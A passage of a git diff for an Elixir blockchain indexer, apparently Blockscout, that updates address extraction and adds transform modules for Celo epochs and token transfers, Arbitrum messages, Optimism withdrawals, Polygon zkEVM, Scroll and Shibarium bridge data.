&do_filter_burn_address/1) - end - - defp add_token_balance_address(map_set, unquote(@burn_address), _, _, _, _), do: map_set + defp add_token_balance_address(map_set, unquote(burn_address_hash_string()), _, _, _, _), do: map_set defp add_token_balance_address(map_set, address, token_contract_address, token_id, token_type, block_number) do MapSet.put(map_set, %{ @@ -53,12 +44,4 @@ defmodule Indexer.Transform.AddressTokenBalances do token_type: token_type }) end - - def do_filter_burn_address(%{to_address_hash: unquote(@burn_address), token_type: "ERC-721"}) do - false - end - - def do_filter_burn_address(_token_balance_param) do - true - end end diff --git a/apps/indexer/lib/indexer/transform/addresses.ex b/apps/indexer/lib/indexer/transform/addresses.ex index 1bc23dd0330b..ca4e4939ebff 100644 --- a/apps/indexer/lib/indexer/transform/addresses.ex +++ b/apps/indexer/lib/indexer/transform/addresses.ex @@ -47,6 +47,9 @@ defmodule Indexer.Transform.Addresses do ] } """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Indexer.Helper @entity_to_address_map %{ address_coin_balances: [ @@ -71,11 +74,18 @@ defmodule Indexer.Transform.Addresses do %{from: :block_number, to: :fetched_coin_balance_block_number}, %{from: :to_address_hash, to: :hash} ], - [ - %{from: :block_number, to: :fetched_coin_balance_block_number}, - %{from: :created_contract_address_hash, to: :hash}, - %{from: :created_contract_code, to: :contract_code} - ] + if @chain_type == :zksync do + [ + %{from: :block_number, to: :fetched_coin_balance_block_number}, + %{from: :created_contract_address_hash, to: :hash} + ] + else + [ + %{from: :block_number, to: :fetched_coin_balance_block_number}, + %{from: :created_contract_address_hash, to: :hash}, + %{from: :created_contract_code, to: :contract_code} + ] + end ], codes: [ [ @@ -96,6 +106,10 @@ defmodule Indexer.Transform.Addresses do [ %{from: :block_number, to: :fetched_coin_balance_block_number}, %{from: :to_address_hash, to: :hash} + ], + [ + %{from: :execution_node_hash, to: :hash}, + %{from: :wrapped_to_address_hash, to: :hash} ] ], logs: [ @@ -104,6 +118,11 @@ defmodule Indexer.Transform.Addresses do %{from: :address_hash, to: :hash} ] ], + shibarium_bridge_operations: [ + [ + %{from: :user, to: :hash} + ] + ], token_transfers: [ [ %{from: :block_number, to: :fetched_coin_balance_block_number}, @@ -133,6 +152,30 @@ defmodule Indexer.Transform.Addresses do %{from: :block_number, to: :fetched_coin_balance_block_number}, %{from: :address_hash, to: :hash} ] + ], + withdrawals: [ + [ + %{from: :block_number, to: :fetched_coin_balance_block_number}, + %{from: :address_hash, to: :hash} + ] + ], + polygon_zkevm_bridge_operations: [ + [ + %{from: :l2_token_address, to: :hash} + ] + ], + celo_election_rewards: [ + [ + %{from: :account_address_hash, to: :hash} + ] + ], + celo_validator_group_votes: [ + [ + %{from: :account_address_hash, to: :hash} + ], + [ + %{from: :group_address_hash, to: :hash} + ] ] } @@ -154,7 +197,7 @@ defmodule Indexer.Transform.Addresses do Blocks have their `miner_hash` extracted. - iex> Indexer.Addresses.extract_addresses( + iex> Indexer.Transform.Addresses.extract_addresses( ...> %{ ...> blocks: [ ...> %{ @@ -174,7 +217,7 @@ defmodule Indexer.Transform.Addresses do Internal transactions can have their `from_address_hash`, `to_address_hash` and/or `created_contract_address_hash` extracted. - iex> Indexer.Addresses.extract_addresses( + iex> Indexer.Transform.Addresses.extract_addresses( ...> %{ ...> internal_transactions: [ ...> %{ @@ -211,7 +254,7 @@ defmodule Indexer.Transform.Addresses do Transactions can have their `from_address_hash` and/or `to_address_hash` extracted. - iex> Indexer.Addresses.extract_addresses( + iex> Indexer.Transform.Addresses.extract_addresses( ...> %{ ...> transactions: [ ...> %{ @@ -247,7 +290,7 @@ defmodule Indexer.Transform.Addresses do Logs can have their `address_hash` extracted. - iex> Indexer.Addresses.extract_addresses( + iex> Indexer.Transform.Addresses.extract_addresses( ...> %{ ...> logs: [ ...> %{ @@ -266,7 +309,7 @@ defmodule Indexer.Transform.Addresses do When the same address is mentioned multiple times, the greatest `block_number` is used - iex> Indexer.Addresses.extract_addresses( + iex> Indexer.Transform.Addresses.extract_addresses( ...> %{ ...> blocks: [ ...> %{ @@ -319,7 +362,7 @@ defmodule Indexer.Transform.Addresses do When a contract is created and then used in internal transactions and transaction in the same fetched data, the `created_contract_code` is merged with the greatest `block_number` - iex> Indexer.Addresses.extract_addresses( + iex> Indexer.Transform.Addresses.extract_addresses( ...> %{ ...> internal_transactions: [ ...> %{ @@ -393,7 +436,9 @@ defmodule Indexer.Transform.Addresses do required(:from_address_hash) => String.t(), required(:nonce) => non_neg_integer(), optional(:to_address_hash) => String.t(), - optional(:created_contract_address_hash) => String.t() + optional(:created_contract_address_hash) => String.t(), + optional(:execution_node_hash) => String.t(), + optional(:wrapped_to_address_hash) => String.t() } ], optional(:logs) => [ @@ -402,6 +447,11 @@ defmodule Indexer.Transform.Addresses do required(:block_number) => non_neg_integer() } ], + optional(:shibarium_bridge_operations) => [ + %{ + required(:user) => String.t() + } + ], optional(:token_transfers) => [ %{ required(:from_address_hash) => String.t(), @@ -410,6 +460,11 @@ defmodule Indexer.Transform.Addresses do required(:block_number) => non_neg_integer() } ], + optional(:transaction_actions) => [ + %{ + required(:data) => map() + } + ], optional(:mint_transfers) => [ %{ required(:from_address_hash) => String.t(), @@ -422,6 +477,28 @@ defmodule Indexer.Transform.Addresses do required(:address_hash) => String.t(), required(:block_number) => non_neg_integer() } + ], + optional(:withdrawals) => [ + %{ + required(:address_hash) => String.t(), + required(:block_number) => non_neg_integer() + } + ], + optional(:polygon_zkevm_bridge_operations) => [ + %{ + optional(:l2_token_address) => String.t() + } + ], + optional(:celo_election_rewards) => [ + %{ + required(:account_address_hash) => String.t() + } + ], + optional(:celo_validator_group_votes) => [ + %{ + required(:account_address_hash) => String.t(), + required(:group_address_hash) => String.t() + } ] }) :: [params] def extract_addresses(fetched_data, options \\ []) when is_map(fetched_data) and is_list(options) do @@ -432,7 +509,18 @@ defmodule Indexer.Transform.Addresses do (entity_items = Map.get(fetched_data, entity_key)) != nil, do: extract_addresses_from_collection(entity_items, entity_fields, state) + transaction_actions_addresses = + fetched_data + |> Map.get(:transaction_actions, []) + |> Enum.map(fn transaction_action -> + transaction_action.data + |> Map.get(:block_number) + |> find_transaction_action_addresses(transaction_action.data) + end) + |> List.flatten() + addresses + |> Enum.concat(transaction_actions_addresses) |> List.flatten() |> merge_addresses() end @@ -442,6 +530,25 @@ defmodule Indexer.Transform.Addresses do def extract_addresses_from_item(item, fields, state), do: Enum.flat_map(fields, &extract_fields(&1, item, state)) + defp find_transaction_action_addresses(block_number, data, accumulator \\ []) + + defp find_transaction_action_addresses(block_number, data, accumulator) when is_map(data) or is_list(data) do + Enum.reduce(data, accumulator, fn + {_, value}, acc -> find_transaction_action_addresses(block_number, value, acc) + value, acc -> find_transaction_action_addresses(block_number, value, acc) + end) + end + + defp find_transaction_action_addresses(block_number, value, accumulator) when is_binary(value) do + if Helper.address_correct?(value) do + [%{:fetched_coin_balance_block_number => block_number, :hash => value} | accumulator] + else + accumulator + end + end + + defp find_transaction_action_addresses(_block_number, _value, accumulator), do: accumulator + def merge_addresses(addresses) when is_list(addresses) do addresses |> Enum.group_by(fn address -> address.hash end) diff --git a/apps/indexer/lib/indexer/transform/arbitrum/messaging.ex b/apps/indexer/lib/indexer/transform/arbitrum/messaging.ex new file mode 100644 index 000000000000..e8c328f5bc2d --- /dev/null +++ b/apps/indexer/lib/indexer/transform/arbitrum/messaging.ex @@ -0,0 +1,47 @@ +defmodule Indexer.Transform.Arbitrum.Messaging do + @moduledoc """ + Helper functions for transforming data for Arbitrum cross-chain messages. + """ + + alias Explorer.Chain.Arbitrum.Message + alias Indexer.Fetcher.Arbitrum.Messaging, as: ArbitrumMessages + + require Logger + + @doc """ + Parses and combines lists of rollup transactions and logs to identify and process both L1-to-L2 and L2-to-L1 messages. + + This function utilizes two filtering operations: one that identifies L1-to-L2 + message completions from a list of transactions, as well as the transactions + suspected of containing messages but requiring additional handling due to + hashed message IDs; and another that identifies L2-to-L1 message initiations + from a list of logs. + + ## Parameters + - `transactions`: A list of rollup transaction entries to filter for L1-to-L2 messages. + - `logs`: A list of log entries to filter for L2-to-L1 messages. + + ## Returns + A tuple containing: + - A combined list of detailed message maps from both L1-to-L2 completions and + L2-to-L1 initiations, ready for database import. + - A list of transactions with hashed message IDs that require further processing. + """ + @spec parse([map()], [map()]) :: {[Message.to_import()], [map()]} + def parse(transactions, logs) do + prev_metadata = Logger.metadata() + Logger.metadata(fetcher: :arbitrum_bridge_l2) + + {l1_to_l2_completion_ops, transactions_with_hashed_message_id} = + transactions + |> ArbitrumMessages.filter_l1_to_l2_messages() + + l2_to_l1_initiating_ops = + logs + |> ArbitrumMessages.filter_l2_to_l1_messages() + + Logger.reset_metadata(prev_metadata) + + {l1_to_l2_completion_ops ++ l2_to_l1_initiating_ops, transactions_with_hashed_message_id} + end +end diff --git a/apps/indexer/lib/indexer/transform/blocks.ex b/apps/indexer/lib/indexer/transform/blocks.ex index 37a748795210..195e3642765e 100644 --- a/apps/indexer/lib/indexer/transform/blocks.ex +++ b/apps/indexer/lib/indexer/transform/blocks.ex @@ -3,6 +3,8 @@ defmodule Indexer.Transform.Blocks do Protocol for transforming blocks. """ + alias ExSecp256k1 + @type block :: map() @doc """ @@ -91,8 +93,7 @@ defmodule Indexer.Transform.Blocks do # First byte represents compression which can be ignored # Private key is the last 64 bytes - {:ok, <<_compression::bytes-size(1), private_key::binary>>} = - :libsecp256k1.ecdsa_recover_compact(signature_hash, r <> s, :uncompressed, v) + {:ok, <<_compression::bytes-size(1), private_key::binary>>} = ExSecp256k1.recover(signature_hash, r, s, v) # Public key comes from the last 20 bytes <<_::bytes-size(12), public_key::binary>> = ExKeccak.hash_256(private_key) diff --git a/apps/indexer/lib/indexer/transform/celo/l1_epochs.ex b/apps/indexer/lib/indexer/transform/celo/l1_epochs.ex new file mode 100644 index 000000000000..88c60a891d2e --- /dev/null +++ b/apps/indexer/lib/indexer/transform/celo/l1_epochs.ex @@ -0,0 +1,50 @@ +defmodule Indexer.Transform.Celo.L1Epochs do + @moduledoc """ + Transformer for Celo L1 epoch data from blockchain blocks. + + This module processes blocks from the Celo blockchain to extract epoch + information for pre-migration blocks (L1 epochs). It identifies epoch blocks + based on the mathematical formula that governed Celo's epoch structure before + the L2 migration. + + This information is essential for tracking Celo's epoch structure during the + L1 era, which followed a deterministic mathematical formula. + """ + + use Utils.RuntimeEnvHelper, + chain_type: [:explorer, :chain_type] + + alias Explorer.Chain.Celo.Helper + + @spec parse([EthereumJSONRPC.Block.params()]) :: [map()] + def parse(blocks) do + if chain_type() == :celo do + do_parse(blocks) + else + [] + end + end + + defp do_parse(blocks) do + blocks + |> Enum.filter(fn %{number: number} -> + Helper.pre_migration_block_number?(number) and + Helper.epoch_block_number?(number) + end) + |> Enum.map(fn block -> + epoch_number = + Helper.block_number_to_epoch_number(block.number) + + {start_block_number, end_block_number} = + Helper.epoch_number_to_block_range(epoch_number) + + %{ + number: epoch_number, + start_block_number: start_block_number, + end_block_number: end_block_number, + start_processing_block_hash: block.hash, + end_processing_block_hash: block.hash + } + end) + end +end diff --git a/apps/indexer/lib/indexer/transform/celo/l2_epochs.ex b/apps/indexer/lib/indexer/transform/celo/l2_epochs.ex new file mode 100644 index 000000000000..0edc0c43ee22 --- /dev/null +++ b/apps/indexer/lib/indexer/transform/celo/l2_epochs.ex @@ -0,0 +1,67 @@ +defmodule Indexer.Transform.Celo.L2Epochs do + @moduledoc """ + Transformer for Celo L2 epoch data from blockchain logs. + + This module processes logs from the Celo EpochManager contract to extract + epoch information for post-migration blocks (L2 epochs). It identifies epoch + processing start and end events by filtering logs based on their topics and + the contract address. + + This information is essential for tracking Celo's epoch structure after the L2 + migration, which no longer follows a simple deterministic formula. + """ + + use Utils.RuntimeEnvHelper, + chain_type: [:explorer, :chain_type], + epoch_manager_contract_address: [ + :explorer, + [:celo, :epoch_manager_contract_address] + ] + + import Explorer.Helper, only: [decode_data: 2] + + alias Explorer.Chain.Celo.Helper + + # Events from the EpochManager contract + @epoch_processing_started_topic "0xae58a33f8b8d696bcbaca9fa29d9fdc336c140e982196c2580db3d46f3e6d4b6" + @epoch_processing_ended_topic "0xc8e58d8e6979dd5e68bad79d4a4368a1091f6feb2323e612539b1b84e0663a8f" + + @spec parse([map()]) :: [map()] + def parse(logs) do + if chain_type() == :celo do + do_parse(logs) + else + [] + end + end + + defp do_parse(logs) do + logs + |> Enum.filter( + &(not Helper.pre_migration_block_number?(&1.block_number) and + &1.address_hash == epoch_manager_contract_address() |> String.downcase() and + &1.first_topic in [ + @epoch_processing_started_topic, + @epoch_processing_ended_topic + ]) + ) + |> Enum.reduce(%{}, fn log, epochs_acc -> + # Extract epoch number from the log + [epoch_number] = decode_data(log.second_topic, [{:uint, 256}]) + + current_epoch = Map.get(epochs_acc, epoch_number, %{number: epoch_number}) + + updated_epoch = + case log.first_topic do + @epoch_processing_started_topic -> + Map.put(current_epoch, :start_processing_block_hash, log.block_hash) + + @epoch_processing_ended_topic -> + Map.put(current_epoch, :end_processing_block_hash, log.block_hash) + end + + Map.put(epochs_acc, epoch_number, updated_epoch) + end) + |> Map.values() + end +end diff --git a/apps/indexer/lib/indexer/transform/celo/transaction_gas_tokens.ex b/apps/indexer/lib/indexer/transform/celo/transaction_gas_tokens.ex new file mode 100644 index 000000000000..7857a932157d --- /dev/null +++ b/apps/indexer/lib/indexer/transform/celo/transaction_gas_tokens.ex @@ -0,0 +1,42 @@ +defmodule Indexer.Transform.Celo.TransactionGasTokens do + @moduledoc """ + Helper functions for extracting tokens specified as gas fee currency. + """ + + alias Explorer.Chain.Hash + + @doc """ + Parses transactions and extracts tokens specified as gas fee currency. + """ + @spec parse([ + %{ + optional(:gas_token_contract_address_hash) => Hash.Address.t() | nil + } + ]) :: [ + %{ + contract_address_hash: String.t(), + type: String.t() + } + ] + def parse(transactions) do + if Application.get_env(:explorer, :chain_type) == :celo do + transactions + |> Enum.reduce( + MapSet.new(), + fn + %{gas_token_contract_address_hash: address_hash}, acc when not is_nil(address_hash) -> + MapSet.put(acc, %{ + contract_address_hash: address_hash, + type: "ERC-20" + }) + + _, acc -> + acc + end + ) + |> MapSet.to_list() + else + [] + end + end +end diff --git a/apps/indexer/lib/indexer/transform/celo/transaction_token_transfers.ex b/apps/indexer/lib/indexer/transform/celo/transaction_token_transfers.ex new file mode 100644 index 000000000000..659a9c8143f2 --- /dev/null +++ b/apps/indexer/lib/indexer/transform/celo/transaction_token_transfers.ex @@ -0,0 +1,145 @@ +defmodule Indexer.Transform.Celo.TransactionTokenTransfers do + @moduledoc """ + Helper functions for generating ERC20 token transfers from native Celo coin + transfers. + + CELO has a feature referred to as "token duality", where the native chain + asset (CELO) can be used as both a native chain currency and as an ERC-20 + token. Unfortunately native chain asset transfers do not emit ERC-20 transfer + events, which requires the artificial creation of entries in the + `token_transfers` table. + """ + require Logger + + import Indexer.Transform.TokenTransfers, + only: [ + filter_tokens_for_supply_update: 1 + ] + + alias Explorer.Chain.Cache.CeloCoreContracts + alias Explorer.Chain.Hash + alias Indexer.Fetcher.TokenTotalSupplyUpdater + @token_type "ERC-20" + @transaction_buffer_size 20_000 + + @doc """ + In order to avoid conflicts with real token transfers, for native token + transfers we put a negative `log_index`. + + Each transaction within the block is assigned a so-called _buffer_ of + #{@transaction_buffer_size} entries. Thus, according to the formula, + transactions with indices 0, 1, 2 would have log indices -20000, -40000, + -60000. + + The spare intervals between the log indices (0..-19_999, -20_001..-39_999, + -40_001..59_999) are reserved for native token transfers fetched from + internal transactions. + """ + @spec parse_transactions([ + %{ + required(:value) => non_neg_integer(), + optional(:to_address_hash) => Hash.Address.t() | nil, + optional(:created_contract_address_hash) => Hash.Address.t() | nil + } + ]) :: %{ + token_transfers: list(), + tokens: list() + } + def parse_transactions(transactions) do + token_transfers = + if Application.get_env(:explorer, :chain_type) == :celo do + transactions + |> Enum.filter(fn transaction -> transaction.value > 0 end) + |> Enum.map(fn transaction -> + to_address_hash = + Map.get(transaction, :to_address_hash) || Map.get(transaction, :created_contract_address_hash) + + log_index = -1 * (transaction.index + 1) * @transaction_buffer_size + {:ok, celo_token_address} = CeloCoreContracts.get_address(:celo_token, transaction.block_number) + + %{ + amount: Decimal.new(transaction.value), + block_hash: transaction.block_hash, + block_number: transaction.block_number, + from_address_hash: transaction.from_address_hash, + log_index: log_index, + to_address_hash: to_address_hash, + token_contract_address_hash: celo_token_address, + token_ids: nil, + token_type: @token_type, + transaction_hash: transaction.hash + } + end) + |> tap(&Logger.debug("Found #{length(&1)} Celo token transfers.")) + else + [] + end + + token_transfers + |> filter_tokens_for_supply_update() + |> TokenTotalSupplyUpdater.add_tokens() + + %{ + token_transfers: token_transfers, + tokens: to_tokens(token_transfers) + } + end + + def parse_internal_transactions(internal_transactions, block_number_to_block_hash) do + token_transfers = + internal_transactions + |> Enum.filter(fn internal_transaction -> + internal_transaction.value > 0 && + internal_transaction.index > 0 && + not Map.has_key?(internal_transaction, :error) && + (not Map.has_key?(internal_transaction, :call_type) || internal_transaction.call_type != "delegatecall") + end) + |> Enum.map(fn internal_transaction -> + to_address_hash = + Map.get(internal_transaction, :to_address_hash) || + Map.get(internal_transaction, :created_contract_address_hash) + + log_index = + -1 * (internal_transaction.transaction_index * @transaction_buffer_size + internal_transaction.index) + + {:ok, celo_token_address} = CeloCoreContracts.get_address(:celo_token, internal_transaction.block_number) + + %{ + amount: Decimal.new(internal_transaction.value), + block_hash: block_number_to_block_hash[internal_transaction.block_number], + block_number: internal_transaction.block_number, + from_address_hash: internal_transaction.from_address_hash, + log_index: log_index, + to_address_hash: to_address_hash, + token_contract_address_hash: celo_token_address, + token_ids: nil, + token_type: @token_type, + transaction_hash: internal_transaction.transaction_hash + } + end) + + Logger.debug("Found #{length(token_transfers)} Celo token transfers from internal transactions.") + + token_transfers + |> filter_tokens_for_supply_update() + |> TokenTotalSupplyUpdater.add_tokens() + + %{ + token_transfers: token_transfers, + tokens: to_tokens(token_transfers) + } + end + + defp to_tokens([]), do: [] + + defp to_tokens(token_transfers) do + token_transfers + |> Enum.map( + &%{ + contract_address_hash: &1.token_contract_address_hash, + type: @token_type + } + ) + |> Enum.uniq() + end +end diff --git a/apps/indexer/lib/indexer/transform/celo/validator_epoch_payment_distributions.ex b/apps/indexer/lib/indexer/transform/celo/validator_epoch_payment_distributions.ex new file mode 100644 index 000000000000..9a265b4e1e7b --- /dev/null +++ b/apps/indexer/lib/indexer/transform/celo/validator_epoch_payment_distributions.ex @@ -0,0 +1,75 @@ +defmodule Indexer.Transform.Celo.ValidatorEpochPaymentDistributions do + @moduledoc """ + Extracts data from `ValidatorEpochPaymentDistributed` event logs of the + `Validators` Celo core contract. + """ + alias ABI.FunctionSelector + + alias Explorer.Chain.Cache.CeloCoreContracts + alias Explorer.Chain.{Hash, Log} + + require Logger + + @event_signature "0x6f5937add2ec38a0fa4959bccd86e3fcc2aafb706cd3e6c0565f87a7b36b9975" + + @event_abi [ + %{ + "name" => "ValidatorEpochPaymentDistributed", + "type" => "event", + "anonymous" => false, + "inputs" => [ + %{ + "indexed" => true, + "name" => "validator", + "type" => "address" + }, + %{ + "indexed" => false, + "name" => "validatorPayment", + "type" => "uint256" + }, + %{ + "indexed" => true, + "name" => "group", + "type" => "address" + }, + %{ + "indexed" => false, + "name" => "groupPayment", + "type" => "uint256" + } + ] + } + ] + + def signature, do: @event_signature + + def parse(logs) do + logs + |> Enum.filter(fn log -> + {:ok, validators_contract_address} = CeloCoreContracts.get_address(:validators, log.block_number) + + Hash.to_string(log.address_hash) == validators_contract_address and + Hash.to_string(log.first_topic) == @event_signature + end) + |> Enum.map(fn log -> + {:ok, %FunctionSelector{}, + [ + {"validator", "address", true, validator_address_bytes}, + {"validatorPayment", "uint256", false, validator_payment}, + {"group", "address", true, group_address_bytes}, + {"groupPayment", "uint256", false, group_payment} + ]} = Log.find_and_decode(@event_abi, log, log.block_hash) + + {:ok, validator_address} = Hash.Address.cast(validator_address_bytes) + {:ok, group_address} = Hash.Address.cast(group_address_bytes) + + %{ + validator_address: validator_address, + validator_payment: validator_payment, + group_address: group_address, + group_payment: group_payment + } + end) + end +end diff --git a/apps/indexer/lib/indexer/transform/mint_transfers.ex b/apps/indexer/lib/indexer/transform/mint_transfers.ex index e57a9841a7fb..c53dde7a5387 100644 --- a/apps/indexer/lib/indexer/transform/mint_transfers.ex +++ b/apps/indexer/lib/indexer/transform/mint_transfers.ex @@ -24,8 +24,7 @@ defmodule Indexer.Transform.MintTransfers do ...> index: 1, ...> second_topic: "0x0000000000000000000000009a4a90e2732f3fa4087b0bb4bf85c76d14833df1", ...> third_topic: "0x0000000000000000000000007301cfa0e1756b71869e93d4e4dca5c7d0eb0aa6", - ...> transaction_hash: "0x1d5066d30ff3404a9306733136103ac2b0b989951c38df637f464f3667f8d4ee", - ...> type: "mined" + ...> transaction_hash: "0x1d5066d30ff3404a9306733136103ac2b0b989951c38df637f464f3667f8d4ee" ...> } ...> ]) %{ diff --git a/apps/indexer/lib/indexer/transform/optimism/withdrawals.ex b/apps/indexer/lib/indexer/transform/optimism/withdrawals.ex new file mode 100644 index 000000000000..eca8d19e7a87 --- /dev/null +++ b/apps/indexer/lib/indexer/transform/optimism/withdrawals.ex @@ -0,0 +1,49 @@ +defmodule Indexer.Transform.Optimism.Withdrawals do + @moduledoc """ + Helper functions for transforming data for Optimism withdrawals. + """ + + require Logger + + alias Indexer.Fetcher.Optimism.Withdrawal, as: OptimismWithdrawal + alias Indexer.Helper + + # 32-byte signature of the event MessagePassed(uint256 indexed nonce, address indexed sender, address indexed target, uint256 value, uint256 gasLimit, bytes data, bytes32 withdrawalHash) + @message_passed_event "0x02a52367d10742d8032712c1bb8e0144ff1ec5ffda1ed7d70bb05a2744955054" + + @doc """ + Returns a list of withdrawals given a list of logs. + """ + def parse(logs) do + prev_metadata = Logger.metadata() + Logger.metadata(fetcher: :optimism_withdrawals_realtime) + + items = + with false <- is_nil(Application.get_env(:indexer, OptimismWithdrawal)[:start_block_l2]), + message_passer = Application.get_env(:indexer, OptimismWithdrawal)[:message_passer], + true <- Helper.address_correct?(message_passer) do + message_passer = String.downcase(message_passer) + + logs + |> Enum.filter(fn log -> + !is_nil(log.first_topic) && String.downcase(log.first_topic) == @message_passed_event && + String.downcase(Helper.address_hash_to_string(log.address_hash)) == message_passer + end) + |> Enum.map(fn log -> + Logger.info("Withdrawal message found, nonce: #{log.second_topic}.") + OptimismWithdrawal.event_to_withdrawal(log.second_topic, log.data, log.transaction_hash, log.block_number) + end) + else + true -> + [] + + false -> + Logger.error("L2ToL1MessagePasser contract address is incorrect. Cannot use #{__MODULE__} for parsing logs.") + [] + end + + Logger.reset_metadata(prev_metadata) + + items + end +end diff --git a/apps/indexer/lib/indexer/transform/polygon_zkevm/bridge.ex b/apps/indexer/lib/indexer/transform/polygon_zkevm/bridge.ex new file mode 100644 index 000000000000..ba14abac1031 --- /dev/null +++ b/apps/indexer/lib/indexer/transform/polygon_zkevm/bridge.ex @@ -0,0 +1,115 @@ +defmodule Indexer.Transform.PolygonZkevm.Bridge do + @moduledoc """ + Helper functions for transforming data for Polygon zkEVM Bridge operations. + """ + + require Logger + + import Indexer.Fetcher.PolygonZkevm.Bridge, + only: [filter_bridge_events: 2, prepare_operations: 8] + + alias Indexer.Fetcher.PolygonZkevm.{BridgeL1, BridgeL2} + alias Indexer.Helper + + @doc """ + Returns a list of operations given a list of blocks and logs. + """ + @spec parse(list(), list()) :: list() + def parse(blocks, logs) do + prev_metadata = Logger.metadata() + Logger.metadata(fetcher: :polygon_zkevm_bridge_l2_realtime) + + items = + with false <- is_nil(Application.get_env(:indexer, BridgeL2)[:start_block]), + false <- Application.get_env(:explorer, :chain_type) != :polygon_zkevm, + rpc_l1 = Application.get_all_env(:indexer)[BridgeL1][:rpc], + {:rpc_l1_undefined, false} <- {:rpc_l1_undefined, is_nil(rpc_l1)}, + rollup_network_id_l1 = Application.get_all_env(:indexer)[BridgeL1][:rollup_network_id_l1], + rollup_network_id_l2 = Application.get_all_env(:indexer)[BridgeL2][:rollup_network_id_l2], + rollup_index_l1 = Application.get_all_env(:indexer)[BridgeL1][:rollup_index_l1], + rollup_index_l2 = Application.get_all_env(:indexer)[BridgeL2][:rollup_index_l2], + {:rollup_network_id_l1_is_valid, true} <- + {:rollup_network_id_l1_is_valid, !is_nil(rollup_network_id_l1) and rollup_network_id_l1 >= 0}, + {:rollup_network_id_l2_is_valid, true} <- + {:rollup_network_id_l2_is_valid, !is_nil(rollup_network_id_l2) and rollup_network_id_l2 > 0}, + {:rollup_index_l2_is_valid, true} <- {:rollup_index_l2_is_valid, !is_nil(rollup_index_l2)}, + bridge_contract = Application.get_env(:indexer, BridgeL2)[:bridge_contract], + {:bridge_contract_address_is_valid, true} <- + {:bridge_contract_address_is_valid, Helper.address_correct?(bridge_contract)} do + bridge_contract = String.downcase(bridge_contract) + + block_numbers = Enum.map(blocks, fn block -> block.number end) + start_block = Enum.min(block_numbers) + end_block = Enum.max(block_numbers) + + Helper.log_blocks_chunk_handling(start_block, end_block, start_block, end_block, nil, :L2) + + json_rpc_named_arguments_l1 = Helper.json_rpc_named_arguments(rpc_l1) + + block_to_timestamp = Enum.reduce(blocks, %{}, fn block, acc -> Map.put(acc, block.number, block.timestamp) end) + + items = + logs + |> filter_bridge_events(bridge_contract) + |> prepare_operations( + rollup_network_id_l1, + rollup_network_id_l2, + rollup_index_l1, + rollup_index_l2, + nil, + json_rpc_named_arguments_l1, + block_to_timestamp + ) + + Helper.log_blocks_chunk_handling( + start_block, + end_block, + start_block, + end_block, + "#{Enum.count(items)} L2 operation(s)", + :L2 + ) + + items + else + true -> + [] + + {:rpc_l1_undefined, true} -> + Logger.error("L1 RPC URL is not defined. Cannot use #{__MODULE__} for parsing logs.") + [] + + {:rollup_network_id_l1_is_valid, false} -> + Logger.error( + "Invalid network ID for L1. Please, check INDEXER_POLYGON_ZKEVM_L1_BRIDGE_NETWORK_ID env variable." + ) + + [] + + {:rollup_network_id_l2_is_valid, false} -> + Logger.error( + "Invalid network ID for L2. Please, check INDEXER_POLYGON_ZKEVM_L2_BRIDGE_NETWORK_ID env variable." + ) + + [] + + {:rollup_index_l2_is_valid, false} -> + Logger.error( + "Rollup index is undefined for L2. Please, check INDEXER_POLYGON_ZKEVM_L2_BRIDGE_ROLLUP_INDEX env variable." + ) + + [] + + {:bridge_contract_address_is_valid, false} -> + Logger.error( + "PolygonZkEVMBridge contract address is invalid or not defined. Cannot use #{__MODULE__} for parsing logs." + ) + + [] + end + + Logger.reset_metadata(prev_metadata) + + items + end +end diff --git a/apps/indexer/lib/indexer/transform/scroll/l1_fee_params.ex b/apps/indexer/lib/indexer/transform/scroll/l1_fee_params.ex new file mode 100644 index 000000000000..4615266a7519 --- /dev/null +++ b/apps/indexer/lib/indexer/transform/scroll/l1_fee_params.ex @@ -0,0 +1,70 @@ +defmodule Indexer.Transform.Scroll.L1FeeParams do + @moduledoc """ + Helper functions for transforming data for Scroll L1 fee parameters + in realtime block fetcher. + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + require Logger + + @doc """ + Takes logs from the realtime fetcher, filters them + by signatures (L1 Gas Oracle events), and prepares an output for + `Chain.import` function. It doesn't work if L1 Gas Oracle contract + address is not configured or the chain type is not :scroll. In this case + the returned value is an empty list. + + ## Parameters + - `logs`: A list of log entries to filter for L1 Gas Oracle events. + + ## Returns + - A list of items ready for database import. The list can be empty. + """ + @spec parse([map()]) :: [Explorer.Chain.Scroll.L1FeeParam.to_import()] + def parse(logs) + + if @chain_type == :scroll do + def parse(logs) do + prev_metadata = Logger.metadata() + Logger.metadata(fetcher: :scroll_l1_fee_params_realtime) + + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + gas_oracle = Application.get_env(:indexer, Indexer.Fetcher.Scroll.L1FeeParam)[:gas_oracle] + + # credo:disable-for-lines:2 Credo.Check.Design.AliasUsage + items = + if Indexer.Helper.address_correct?(gas_oracle) do + gas_oracle = String.downcase(gas_oracle) + + logs + |> Enum.filter(&fee_param_update_event?(&1, gas_oracle)) + |> Enum.map(fn log -> + Logger.info("Event for parameter update found.") + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + Indexer.Fetcher.Scroll.L1FeeParam.event_to_param( + log.first_topic, + log.data, + log.block_number, + log.transaction_index + ) + end) + else + Logger.error("L1 Gas Oracle contract address is incorrect. Cannot use #{__MODULE__} for parsing logs.") + [] + end + + Logger.reset_metadata(prev_metadata) + + items + end + + defp fee_param_update_event?(log, gas_oracle) do + # credo:disable-for-lines:3 Credo.Check.Design.AliasUsage + !is_nil(log.first_topic) && + String.downcase(log.first_topic) in Indexer.Fetcher.Scroll.L1FeeParam.event_signatures() && + String.downcase(Indexer.Helper.address_hash_to_string(log.address_hash)) == gas_oracle + end + else + def parse(_logs), do: [] + end +end diff --git a/apps/indexer/lib/indexer/transform/shibarium/bridge.ex b/apps/indexer/lib/indexer/transform/shibarium/bridge.ex new file mode 100644 index 000000000000..6d867c5f67b5 --- /dev/null +++ b/apps/indexer/lib/indexer/transform/shibarium/bridge.ex @@ -0,0 +1,99 @@ +defmodule Indexer.Transform.Shibarium.Bridge do + @moduledoc """ + Helper functions for transforming data for Shibarium Bridge operations. + """ + + require Logger + + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + import Indexer.Fetcher.Shibarium.Helper, only: [prepare_insert_items: 2] + + import Indexer.Fetcher.Shibarium.L2, only: [withdraw_method_signature: 0] + + alias Indexer.Fetcher.Shibarium.L2 + alias Indexer.Helper + + @doc """ + Returns a list of operations given a list of blocks and their transactions. + """ + @spec parse(list(), list(), list()) :: list() + def 